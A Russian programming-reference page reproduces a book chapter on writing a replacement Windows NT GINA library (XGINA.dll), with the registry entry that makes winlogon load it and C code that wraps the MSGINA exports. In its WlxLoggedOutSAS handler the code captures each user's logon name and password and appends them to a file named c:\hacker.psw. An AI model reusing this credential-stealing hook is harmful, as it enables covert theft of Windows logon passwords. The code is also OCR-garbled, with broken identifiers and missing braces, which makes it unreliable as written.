На главную страницу
Форум txt.version   




Статья :: Программирование систем защиты: Модифицированная библиотека Gina
 

Модифицированная библиотека Gina

f Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.
XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:

WLXNEGOTIATE
WLXINITIALIZE
WLXDISPLAYSASNOTICE
WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL
WLXLOGGEDONSAS
WLXISLOCKOK
WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS
g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;
g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
WLXLOGOFF . g_lpWlxLogoff » NULL;
WLXSHUTDOWN g_lpWlxShutdown - NULL;
BOOL InitMSGinaDllO
{ .
hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
if (hMSGinaDLL == NULL)
{
return FALSE; }
MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );
g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;
g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );
g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS" );
g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );
g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;
g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );
MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;
Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon
PSID pLogonSid, //SID уникальный для текущей сессией logon
PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )
//указатель на одну из структур WLX_PROFILE_xxx { '
int res,i; FILE *out;
UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};
MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProfile );
if(res == WLX_SAS_ACTION_LOGON) {
for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
{
if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )
if(pMprNotify!nfo->pszPassword[i]==0) break;
else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя
out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {
f seek (out, 0, SEEK_END) ;
//вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);
fwrite (pro, sizeof (char) , 1, out) ;
//вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;
'
return res;

 

Программирование систем защиты: Модифицированная библиотека Gina

страницы в данном разделе 
 Программирование систем защиты: Глава 5. Общие вопросы обеспечения безопасности в операционной среде Windows NT/2000  Программирование систем защиты: Механизм идентификации и аутентификации в ОС Windows NT.Общее описание
 Программирование систем защиты: Основные сведения о процессе Winlogon и его состояниях  Программирование систем защиты: Протокол взаимодействия процесса Winlogon и библиотеки GINA
 Программирование систем защиты: Локальная аутентификация пользователя в Windows NT  Программирование систем защиты: Сетевая аутентификация пользователя в Windows NT
 Программирование систем защиты: Основные подходы к созданию изолированной программной среды  Программирование систем защиты: Макет системы защиты от несанкционированного доступа
 Программирование систем защиты: Перехват операций открытия, создания и удаления файлов  Программирование систем защиты: Собственный обработчик создания файла и собственный обработчик открытия файла
 Программирование систем защиты: Определение имени процесса  Программирование систем защиты: Вывод сообщений на «синий» экран
 Программирование систем защиты: Процедура распределения IRP_MJ_DEVICE_CONTROL драйвера контроля доступа  Программирование систем защиты: Модифицированная библиотека Gina


Разделы
Околокомпьютерная литература (375)
Программирование (102)
Программы (75)
ОС и Сети (49)
Интернет (29)
Аппаратное обеспечение (16)
Базы данных (6)
Flutter
React Native
Xamarin

Содержание сайта (выборка)
Apache
Протоколы TCP/IP (принципы, протоколы и архитектура)

PHP, PELR, JSP
PHP
JavaServer Pages (JSP)

Базы данных
Основы mysql
СУБД INFORMIX
СУБД POSTGRES
Основы проектирования реляционных баз данных

HTML, javascript
Спецификация HTML 4.01
Каскадные Таблицы Стилей, Уровень 2
Клиентский JavaScript. Справочник.
JavaScript руководство пользователя
Серверный JavaScript 1.4. Руководство по Использованию.

Паскаль, C, C++, C#
GCC (примеры)
FAQ Валентинa Озеровa DELPHI
C





 
©  programming-lang.com  справочник программиста
©  http://ekb.programming-lang.com/tlg/  бесплатный телеграм бот
©  http://ekb.programming-lang.com/tlg/  бесплатный телеграм бот
React Native
demo forum